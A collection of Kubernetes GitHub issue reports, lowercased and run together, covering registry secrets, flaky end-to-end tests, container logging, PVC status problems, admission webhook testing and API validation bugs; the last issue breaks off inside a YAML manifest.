dear, thank you for this project. really awesome. but i got the issue while trying to create and use a secret for private docker registry.  when i run it as:      kubectl create secret docker-registry private-registry1 --docker-server=private.qwe.com:5000 --docker-username=pruser --docker-password=qweqwe --docker-email=system@qwe.com      and create new pod:      kind: pod apiversion: v1 metadata:   name: qwe-release   labels:     app: qwe     env: release spec:   containers:     - name: frontend-static       image: private.qwe.com:5000/qwe-static       ports:         - containerport: 3000   restartpolicy: always   imagepullsecrets:     - name: private-registry1      it doesn't work and when i run  kubectl describe pods :        18m    5s    114    {kubelet 10.91.119.198}    spec.containers{frontend-static}            pulling    pulling image \ private.qwe.com:5000/qwe-static\    18m    4s    114    {kubelet 10.91.119.198}    spec.containers{frontend-static}        failed    failed to pull image \ private.qwe.com:5000/qwe-static\ : api error  500 : get https://private.qwe.com:5000/v2/qwe-static/manifests/latest: no basic auth credentials      but when i add  https://  prefix to  docker-server :      kubectl create secret docker-registry private-registry1 --docker-server=https://private.qwe.com:5000 --docker-username=pruser --docker-password=qweqwe --docker-email=system@qwe.com      so in this case everything is working.

in kubernetes, namespace provide a way for multi-tenant; meanwhile, cloudprovide may provide similar features, e.g. mesos. as a operator, i'd like to align those \ multi-tenant\  features; otherwise, i have to configure in cloudprovider, and then kubernente, and align then manually : .

we introduced dynamic kubelet configuration in kubernetes v1.4, which is quite useful in node e2e test!  currently, the dynamic kubelet configuration test and node benchmark test already start to use the cool feature.  however, there are 2 little problems: - because of lack of default kubelet configmap, currently each test has to create the configmap themselves. but if those tests run in the same suite, there will be create conflict. - currently, those tests changed the kubelet config didn't restore the config change after the test.  maybe we should create a default kubelet configmap in  beforesuite , and let all tests only update the configmap. each test should change the config in test, and restore the config in  aftereach .  @mtaufen  /cc @kubernetes/sig-node

this volume driver would talk to the drbd manage utility to provision and deploy drbd devices.  use cases: 1. redundant storage with minimal overhead.  2. directly attaching block devices across the network. 3. balancing reads to get better than disk performance. 4. highly available storage.

kubectl config set-credentials only takes secrets  passwords, bearer tokens  as command line arguments, leaking those secrets to other users on the machine. it should support alternate ways of specifying those values in a way that is secure. e.g. reading from stdin or reading from a file.

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-alpha-features/689/  run so broken it didn't make junit output!

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1.4-gci-1.5-upgrade-cluster-new/42/  multiple broken tests:  failed: diffresources {e2e.go}      error: 17 leaked resources +name                                     machine_type   preemptible  creation_timestamp +gke-bootstrap-e2e-default-pool-f35b3acd  n1-standard-2               2016-12-07t20:35:27.233-08:00 +name                                         location       scope  network        managed  instances +gke-bootstrap-e2e-default-pool-2bd9d698-grp  us-central1-a  zone   bootstrap-e2e  yes      3 +name                                          zone           machine_type   preemptible  internal_ip  external_ip      status +gke-bootstrap-e2e-default-pool-2bd9d698-3p9f  us-central1-a  n1-standard-2               10.240.0.4   104.198.188.120  running +gke-bootstrap-e2e-default-pool-2bd9d698-piss  us-central1-a  n1-standard-2               10.240.0.2   104.197.201.250  running +gke-bootstrap-e2e-default-pool-2bd9d698-zfvx  us-central1-a  n1-standard-2               10.240.0.3   104.198.78.88    running +gke-bootstrap-e2e-default-pool-2bd9d698-3p9f                     us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-default-pool-2bd9d698-piss                     us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-default-pool-2bd9d698-zfvx                     us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-3c883441-317002ad-bd01-11e6-8c5f-42010af00016  bootstrap-e2e  10.96.3.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-2bd9d698-zfvx  1000 +gke-bootstrap-e2e-3c883441-3a07e2da-bd21-11e6-8c5f-42010af00016  bootstrap-e2e  10.96.4.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-2bd9d698-3p9f  1000 +gke-bootstrap-e2e-3c883441-a86d9abd-bd00-11e6-8c5f-42010af00016  bootstrap-e2e  10.96.2.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-2bd9d698-piss  1000 +gke-bootstrap-e2e-3c883441-all           bootstrap-e2e  10.96.0.0/14      ah,sctp,tcp,udp,icmp,esp +gke-bootstrap-e2e-3c883441-ssh           bootstrap-e2e  104.198.56.30/32  tcp:22                                  gke-bootstrap-e2e-3c883441-node +gke-bootstrap-e2e-3c883441-vms           bootstrap-e2e  10.240.0.0/16     tcp:1-65535,udp:1-65535,icmp            gke-bootstrap-e2e-3c883441-node     issues about this test specifically:  33373  33416  34060   failed: deferred teardown {e2e.go}      terminate testing after 15m after 10h0m0s timeout during teardown     issues about this test specifically:  35658   failed: dumpclusterlogs {e2e.go}      terminate testing after 15m after 10h0m0s timeout during dump cluster logs     issues about this test specifically:  33722  37578  37974  38206   failed: teardown {e2e.go}      terminate testing after 15m after 10h0m0s timeout during teardown     issues about this test specifically:  34118  34795  37058  38207

steps to reproduce:\r    \r $ kubectl --context=federation delete rs k8shserver\r replicaset \ k8shserver\  deleted\r $ kubectl --context=federation create -f rs/k8shserver.yaml \r error from server: error when creating \ rs/k8shserver.yaml\ : object is being deleted: replicasets \ k8shserver\  already exists\r    \r expected:\r  kubectl delete rs  command should complete after all replica sets from all underlying clusters are deleted.\r \r observed:\r command completed although there are still replica sets being deleted.

when designing cri, we've had many discussions on how to best approach container logs. there were pros and cons for each approach, but we settled on letting container runtimes write to files directly, and kubelet be the consumer/manager of the log files   proposal  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/kubelet-cri-logging.md  . this aligned  and i believe still align today  with the long-term roadmaps for log management on the node and the cluster logging pipeline.\r \r this file-based api does not work well with non-json log drivers in docker because most of them involve sending log streams directly to a separate logging daemon. specifically, rhel/openshift sets the log driver to journald by default. to help users transition to the json log driver, we need to figure out what's missing in the current log management scheme, and decide whether we can support them or not.\r \r  - log rotation\r    - by default, kubernetes requires an external log rotator on the node; docker also supports size-based log rotation for the json driver \r    - there has been discussions on letting kubelet perform the log rotation\r  - rate limiting\r \r what else?\r \r /cc  @derekwaynecarr @ncdc @sjenning @dchen1107 @vishh @random-liu @thockin

steps to repro:\r create a federated service of type loadbalancer and a federated ingress and then delete them.\r expected:\r all gcp resources  health checks, firewall rules, instance groups, backend service, etc  should be deleted when service and ingress are deleted.\r actual:\r gcp health check and firewall rules are leaked sometimes.\r \r explanation:\r in kubernetes release 1.7, we  updated the service controller  https://github.com/kubernetes/kubernetes/pull/45524  to create health check and firewall rules whose names are generated using providerid/clusterid   providerid if it exists, else clusterid  https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/gce/gce_clusterid.go l111-l132   and since providerid is set by federated ingress controller, service controller looks for a different name if ingress controller sets it after service controller created gcp resources. this race condition between the 2 controller leads to service controller leaking the original health check and firewall rule that it had created.\r \r possible fixes:\r   service controller should wait for providerid/clusterid to by synced before creating any gcp resources  this will not work in environments where ingress controller is disabled .\r   service controller should have the  same logic  https://github.com/kubernetes/kubernetes/blob/db809c0eb7d33fac8f54d8735211f2f3a8fc4214/federation/pkg/federation-controller/ingress/ingress_controller.go l455  of syncing providerid and clusterid across clusters as ingress controller  need to ensure that the 2 controllers dont fight with each other .

as we are working towards configuring all server components with configuration files instead of command line flags, most or all of them are going to need to be configured to talk to the apiserver. we should make sure there is a single struct definition for the client configuration. currently, in the componentconfig api group, we have clientconnectionconfiguration, and it's only used by the kubeproxyconfiguration right now. we have multiple prs in flight related to configuration apis:\r \r  53645 - move kubeproxyconfiguration out of componentconfig and into its own api group\r  52562 - convert kube-scheduler to use a configuration file\r \r the first pr, if merged, will move clientconnectionconfiguration from componentconfig to kubeproxyconfig.k8s.io.\r \r the second pr also needs to use clientconnectionconfiguration, and ultimately needs to have the new scheduler config structs in their own new api group.\r \r i propose we create another api group, something like  kubeconfig.k8s.io , to house the clientconnectionconfiguration struct, so it can be shared by multiple api groups needing to specify client connection configuration details.\r \r wdyt?\r \r @kubernetes/sig-api-machinery-api-reviews @jbeda @smarterclayton @deads2k @liggitt @sttts @luxas @mikedanese @mtaufen @timothysc

when running  kubectl patch --type=strategic ...   --type=strategic is by default \r    \r $ kubectl patch svc multi-portsvc --type=strategic -p '\r spec:\r   ports:\r   - targetport: 441'\r    \r \r or \r    \r $ oc patch rc rctest -p='\r spec:\r   template:\r     spec:\r       containers:\r       - resources:\r           limits:\r             memory: 258mi'\r    \r \r the output is:\r    \r the replicationcontroller \ rctest\  is invalid: spec.template.spec.containers: required value\r    \r \r before, the output not ideal, but it at least showed the required key's name:\r error from server: map: map targetport:441  does not contain declared merge key: port\r \r the recent version of kubectl seemed to dropped this message. \r \r possibly related: https://github.com/kubernetes/kubernetes/pull/51321

the documentation on the   requestobject  field  https://github.com/kubernetes/kubernetes/blob/f8298702ffe644a4f021e23a616ad6a8790a5537/staging/src/k8s.io/apiserver/pkg/apis/audit/types.go l117  of the  audit.event  reads:\r \r > api object from the request, in json format. the requestobject is recorded as-is in the request\r >  possibly re-encoded as json , prior to version conversion, defaulting, admission or\r > merging. it is an external versioned object type, and may not be a valid object on its own.\r > omitted for non-resource requests.  only logged at request level and higher.\r \r this doesn't really fit the patch request model, which specifies an array of field operations rather than an actual object. e.g.\r    \r   \ requestobject\ :  \r     {\r       \ op\ : \ replace\ ,\r       \ path\ : \ /spec/parallelism\ ,\r       \ value\ : 0\r     },\r     {\r       \ op\ : \ remove\ ,\r       \ path\ : \ /spec/template/spec/containers/0/terminationmessagepolicy\ \r     },\r     {\r       \ op\ : \ remove\ ,\r       \ path\ : \ /spec/template/spec/schedulername\ \r     },\r     {\r       \ op\ : \ remove\ ,\r       \ path\ : \ /spec/template/spec/affinity\ \r     },\r     {\r       \ op\ : \ remove\ ,\r       \ path\ : \ /spec/backofflimit\ \r     }\r    ,\r    \r \r we should determine what the expected behavior is for a patch request. if this is working as intended, we should at least document this case.\r \r   /

 \r   problem  :\r \r  kubectl get pvc \r ! screen shot 2018-02-23 at 11 50 07  https://user-images.githubusercontent.com/6221533/36590685-be39844c-188f-11e8-9854-ba16ee9e0a0b.png \r \r we are running a kafka cluster in k8s. kafka-servers run as \ statefulset\ . they're using pvc to store data:\r    \r   kafka manifest\r   ...\r   volumeclaimtemplates:\r   - metadata:\r       name: data\r     spec:\r       storageclassname: generic\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 50gi\r    \r this was working pretty well.\r at some point, all pvcs for the kafka statefulset got a \ lost\  status. running pod/containers are still bound to the aws volumes though  => we can still access those volumes mounted in pods filesystem . the main problem is, when we run an update for instance, the pods won't be able to start as the pvc state is not ok.\r kubectl is logging a few times/second this:\r    \r feb 23 09:46:37 worker-generic3.xxx.com kubelet-wrapper 913 : e0223 09:46:37.509228     913 desired_state_of_world_populator.go:274  error processing volume \ data\  for pod \ kafka-1_namespace 28f9e78e-165f-11e8-b0b4-02f219457d76 \ : error processing pvc \ namespace\ /\ data-kafka-1\ : pvc namespace/data-kafka-1 has non-bound phase  \ lost\   or empty pvc.spec.volumename  \ pvc-e50392dc-161f-11e8-b0b4-02f219457d76\  \r    \r \r aws volumes are still running and healthy/with the right tags:\r ! screen shot 2018-02-23 at 13 07 43  https://user-images.githubusercontent.com/6221533/36593593-a78b26f0-189a-11e8-8472-04a0ca3d4262.png \r \r \r we did check many things already but no way to find any explanation. also we didn't find that much about what's the meaning of \ lost\  status for pvcs.\r as it's a sandbox cluster  we run manual commands and potentially broken configs  we could have broken something accidentally, but i don't see how it can lead to this situation.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r no idea. it's the first time we see that in a few months. also, it only happened on one sandbox cluster so far.\r \r   anything else we need to know?  :\r \r i don't think so but i'll provide everything needed to help resolving this issue. thanks for looking into this : \r \r ---\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:51:54z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:05:18z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1632.3.0\r version_id=1632.3.0\r build_id=2018-02-14-0338\r pretty_name=\ container linux by coreos 1632.3.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux xxx 4.14.19-coreos  1 smp wed feb 14 03:18:05 utc 2018 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r    \r - install tools:\r - others:\r

/sig/testing\r \r   what happened  :\r   we spawned up a kubernetes cluster on aws. we want to do e2e  tests  https://github.com/kubernetes/community/blob/master/contributors/devel/e2e-tests.md conformance-tests  as mentioned .\r to my understanding all these tests scenarios are spawning new cluster locally and performing tests. can someone help on how do i point to a cluster which is already running on aws and perform these kind of tests. \r \r \r   anything else we need to know?  :\r any  references  to  measure performance of already up and running  kubernetes clusters in aws.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration: aws\r \r   /assign\r \r

every gke job except two are failing, see https://k8s-testgrid.appspot.com/google-gke\r \r this started sometime near 3:30pm pt 2018-08-22\r -  last good ci-kubernetes-e2e-gci-gke run  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/30790  at 15:19\r -  first bad ci-kubernetes-e2e-gci-gke-run  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/30791  at 15:52\r \r the failures look like the following example,  taken from the latest ci-kubernetes-e2e-gci-gke run as of time of filing this  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/30908 \r    \r w0825 17:38:49.474  error:  gcloud.container.clusters.create  operation  <operation\r w0825 17:38:49.475   detail: u'failed to create cluster'\r w0825 17:38:49.475   endtime: u'2018-08-25t17:38:46.38347351z'\r w0825 17:38:49.475   name: u'operation-1535218718424-8da8d186'\r w0825 17:38:49.475   operationtype: operationtypevaluevaluesenum create_cluster, 1 \r w0825 17:38:49.475   selflink: u'https://test-container.sandbox.googleapis.com/v1/projects/647873874675/zones/us-central1-f/operations/operation-1535218718424-8da8d186'\r w0825 17:38:49.475   starttime: u'2018-08-25t17:38:38.424408917z'\r w0825 17:38:49.475   status: statusvaluevaluesenum done, 3 \r w0825 17:38:49.475   statusmessage: u'failed to create cluster'\r w0825 17:38:49.475   targetlink: u'https://test-container.sandbox.googleapis.com/v1/projects/647873874675/zones/us-central1-f/clusters/e2e-30908-fbb42'\r w0825 17:38:49.476   zone: u'us-central1-f'>  finished with error: failed to create cluster\r    \r \r these two jobs are passing:\r - https://k8s-testgrid.appspot.com/google-gke gke-device-plugin-gpu\r - https://k8s-testgrid.appspot.com/google-gke gke-device-plugin-gpu-p100\r \r gke jobs are on all release-blocking dashboards, so this is blocking all releases\r \r  /  /assign @amwat\r per https://go.k8s.io/oncall, to assign to the relevant gke staff fixing this issue\r /assig @mohammedzee1000 \r as ci signal, same thing

which jobs are flaking  :\r https://testgrid.k8s.io/sig-release-1.14-blocking gce-cos-1.14-default\r \r   which test s  are flaking  :\r -   sig-auth  advanced audit  disabledforlargeclusters  should audit api calls to create, get, update, patch, delete, list, watch secrets. \r -   sig-auth  advanced audit  disabledforlargeclusters  should audit api calls to create, get, update, patch, delete, list, watch configmaps. \r \r   reasons for flaking  :\r seem to be mostly timeouts, for example:  9538  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cos-k8sbeta-default/9538 ,  9543  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cos-k8sbeta-default/9543 ,  9544  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cos-k8sbeta-default/9544 .\r \r   since when has it been flaking  :\r since 2/20.\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-1.14-blocking gce-cos-1.14-default\r \r   anything else we need to know  :\r latest failure logs can be found in https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cos-k8sbeta-default/9544.\r \r \r cc @mortent @kacole2 @mariantalla @alejandrox1\r \r  / 

part of admission webhook ga tasks \r \r would have caught https://github.com/kubernetes/kubernetes/issues/76107 and https://github.com/kubernetes/kubernetes/issues/75193\r \r setup: \r   use  framework.starttestserver   or something similar  to start a test api server with mutating and validating webhook admission plugins enabled\r   start a recording webhook listener in process  using http.newtestserver or something similar  that decodes and records mutating and validating admission requests, along with the groupversionkind and groupversionresource of the object and oldobject sent\r \r test:\r   use the discovery client to find all registered api groups, versions, resources, subresources, and writeable verbs  create, update, patch, delete, deletecollection, connect \r   for every combination  with the exception of explicit whitelists , make a corresponding api request and ensure that both the validating and mutating webhooks are called, with the expected gvk and gvr for the old and new object.\r \r tips:\r   the fixtures exposed by the existing etcd integration test could be a good foundation  they can all be created, you can construct a generic update by setting a label, and delete needs no fixture .\r   subresources and connect operations will need special handling. some  like pods/exec or pods/proxy  require api objects to be in specific states, etc. we don't actually care about the operation succeeding  we won't have a backing pod or proxy endpoint , just that admission is called correctly. my suggestion would be to have a map struct{gvr,subresource,verb} testfunc to ensure we have covering tests for every case, stub out the test functions for now, and gradually implement them in follow ups.\r   there will be a whitelist of things we do not expect admission to get called for  examples are the admission config objects themselves \r   there will also be a temporary list of known failures where admission is not called  but should be  or is attempted to be called, and errors. it is fine to have a list of known failure cases that get skipped so we can get the first iteration of the test in, and gradually prune that list of known failures down as we fix the issues.\r \r /cc @sbezverk \r /area test\r 

currently, watch request with resourceversion=0 results in: - returning a single \ watch event\  for every object existing \ now\  - starts watching from that point  this is pretty misleading  e.g. it's different that what we have in etcd, where there is no first step from above . in the v2 api, we should probably eliminate the first stop  or even disallow watch requests with resourceversion = 0 .

currently the file  types.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/extensions/types.go l559  contains a comment  consider adding fields for ingress-type specific global   is possible to define some of this fields?  _i wish it could be possible to add this ones:_ - sessionaffinity - algorithm - keepalive  the it could be possible to define something like:      apiversion: extensions/v1beta1 kind: ingress metadata:   name: test spec:   rules:   - host: foo.bar.com     http:       sessionaffinity: true       algorithm: leastconn       keepalive: 75000       paths:       - path: /foo         backend:           servicename: s1           serviceport: 80       - path: /bar         backend:           servicename: s2           serviceport: 80      thanks

we should have enough info available in other parts of the api to be able to test: - whether a pod was scheduled - scheduling latency per-pod - reasons a pod failed to schedule  events are deemed unstable / non-api, so at least the   conformance   subset of tests should not rely on them  ref  19724

ref http://stackoverflow.com/questions/38285676/kubernetes-connect-to-the-outside-world-from-pod/38752535?noredirect=1 comment65804352_38752535  k8s.io doesn't seem to have anything and the swagger for podspec.dnspolicy just says       dnspolicy  string, optional : set dns policy for containers within the pod. one of  'clusterfirst' or 'default'. defaults to \ clusterfirst\ . ,

34780 migrates the network logic into dockershim without adding hostport support.   getpodhostportmapping  method implemented by dockershim returns empty. this interface is a hook for network plugins to retrieve local pod hostport information, so that network plugins can implement the hostports. need a way to retrieve hostport mapping from running pods in dockershim. this can be achieved by parsing container labels or caching.\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/3510/ multiple broken tests:  failed:  k8s.io  networking  k8s.io  granular checks: services  slow  should function for node-service: http {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:114 expected error:     < errors.errorstring | 0xc4203e8300>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:429     issues about this test specifically:  32684  36278  37948   failed:  k8s.io  pod disks should schedule a pod w/ a readonly pd on two hosts, then remove both ungracefully.  slow   volume  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:254 expected error:     < errors.errorstring | 0xc4203c5070>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:243       failed:  k8s.io  pod disks should schedule a pod w/ a readonly pd on two hosts, then remove both gracefully.  slow   volume  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:306 expected error:     < errors.errorstring | 0xc420451d60>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:295       failed:  k8s.io  dynamic provisioning  k8s.io  dynamicprovisioner external should let an external dynamic provisioner create and delete persistent volumes  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:242 expected error:     < errors.errorstring | 0xc420414b10>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:414       failed:  k8s.io  pod disks should schedule a pod w/ a rw pd, gracefully remove it, then schedule it on another host  slow   volume  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:202 expected error:     < errors.errorstring | 0xc4203d3140>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pd.go:183       failed:  k8s.io  networking  k8s.io  granular checks: services  slow  should function for endpoint-service: http {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:132 expected error:     < errors.errorstring | 0xc42036f5a0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:429     issues about this test specifically:  34104   failed:  k8s.io  services should only allow access from service loadbalancer source ranges  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1221 expected error:     < errors.errorstring | 0xc42042ec00>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:3881     issues about this test specifically:  38174   failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048  previous issues for this suite:  37376  37577  38015  38026

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.184+3837d951919006-dirty\ , gitcommit:\ 3837d9519190069c44a453c145869e1fced52f23\ , gittreestate:\ dirty\ , builddate:\ 2017-06-09t07:04:29z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.184+3837d951919006-dirty\ , gitcommit:\ 3837d9519190069c44a453c145869e1fced52f23\ , gittreestate:\ dirty\ , builddate:\ 2017-06-09t07:18:31z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   what happened  :\r    \r   ./cluster/kubectl.sh get clusterrole admin --export -o yaml\r error from server  badrequest : export of \ clusterroles\  is not supported\r    \r \r   what you expected to happen  :\r no error\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r ref to  47229

every time watch is reset, event exporter exports an entry about it to stackdriver. to make it less irritating, this has to be done once per container run\r \r related image pr: https://github.com/kubernetes/contrib/pull/2641\r \r /cc @piosz

failure cluster  194920f8ea05c87c5e8a  https://go.k8s.io/triage 194920f8ea05c87c5e8a        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/volumes.go:113 expected error:     < errors.errorstring | 0xc42015ae80>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/volume_util.go:304           failure cluster statistics: 21 tests failed,    24 jobs failed,    213 builds failed. failure stats cover 1 day time range '18 jul 2017 21:39 utc' to '19 jul 2017 21:39 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  gcp volumes  k8s.io  nfsv4 should be mountable for nfsv4  sig-storage  | 13 | |  k8s.io  gcp volumes  k8s.io  glusterfs should be mountable  sig-storage  | 13 | |  k8s.io  gcp volumes  k8s.io  nfsv3 should be mountable for nfsv3  sig-storage  | 13 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-docker | 25 |  19 jul 2017 20:50 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-docker/1482  | | ci-kubernetes-e2e-gci-gce-proto | 24 |  19 jul 2017 20:34 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-proto/11480  | | ci-kubernetes-e2e-gci-gce-ip-alias | 24 |  19 jul 2017 20:33 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ip-alias/3610  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | nikhiljindal |  k8s.io  gcp volumes  k8s.io  nfsv4 should be mountable for nfsv4  sig-storage ;  k8s.io  gcp volumes  k8s.io  glusterfs should be mountable  sig-storage ;  k8s.io  gcp volumes  k8s.io  glusterfs should be mountable  volume  | | derekwaynecarr |  k8s.io  pods should allow activedeadlineseconds to be updated  conformance ;  k8s.io  pods should be updated  conformance  | | xiang90 |  k8s.io  pods should get a host ip  conformance  | | sig/storage |  k8s.io  gcp volumes  k8s.io  nfsv4 should be mountable for nfsv4  sig-storage ;  k8s.io  gcp volumes  k8s.io  glusterfs should be mountable  sig-storage ;  k8s.io  projected optional updates should be reflected in volume  conformance   volume  | | sig/node |  k8s.io  pods should allow activedeadlineseconds to be updated  conformance ;  k8s.io  pods should get a host ip  conformance ;  k8s.io  pods should be updated  conformance  | | sig/network |  k8s.io  network should set tcp close_wait timeout |  </details><br>   current status  https://go.k8s.io/triage 194920f8ea05c87c5e8a

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r validating a description of a deployment with a null  args  value against the json schema from the openapi document throws a validation error.\r \r   what you expected to happen  :\r \r validating a description of a deployment with a null  args  value against the json schema from the openapi document does not throw a validation error.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r save the following as  valid-deployment.yaml . this code sample is taken from the dashboard documentation at https://github.com/kubernetes/dashboard/blob/master/src/deploy/kubernetes-dashboard.yaml.\r \r    yaml\r kind: deployment\r apiversion: extensions/v1beta1\r metadata:\r   labels:\r     k8s-app: kubernetes-dashboard\r   name: kubernetes-dashboard\r   namespace: kube-system\r spec:\r   replicas: 1\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       k8s-app: kubernetes-dashboard\r   template:\r     metadata:\r       labels:\r         k8s-app: kubernetes-dashboard\r     spec:\r       containers:\r       - name: kubernetes-dashboard\r         image: gcr.io/google_containers/kubernetes-dashboard-amd64:v1.6.1\r         ports:\r         - containerport: 9090\r           protocol: tcp\r         args:\r             uncomment the following line to manually specify kubernetes api server host\r             if not specified, dashboard will attempt to auto discover the api server and connect\r             to it. uncomment only if the default does not work.\r             - --apiserver-host=http://my-address:port\r         livenessprobe:\r           httpget:\r             path: /\r             port: 9090\r           initialdelayseconds: 30\r           timeoutseconds: 30\r       serviceaccountname: kubernetes-dashboard\r         comment the following tolerations if dashboard must not be deployed on master\r       tolerations:\r       - key: node-role.kubernetes.io/master\r         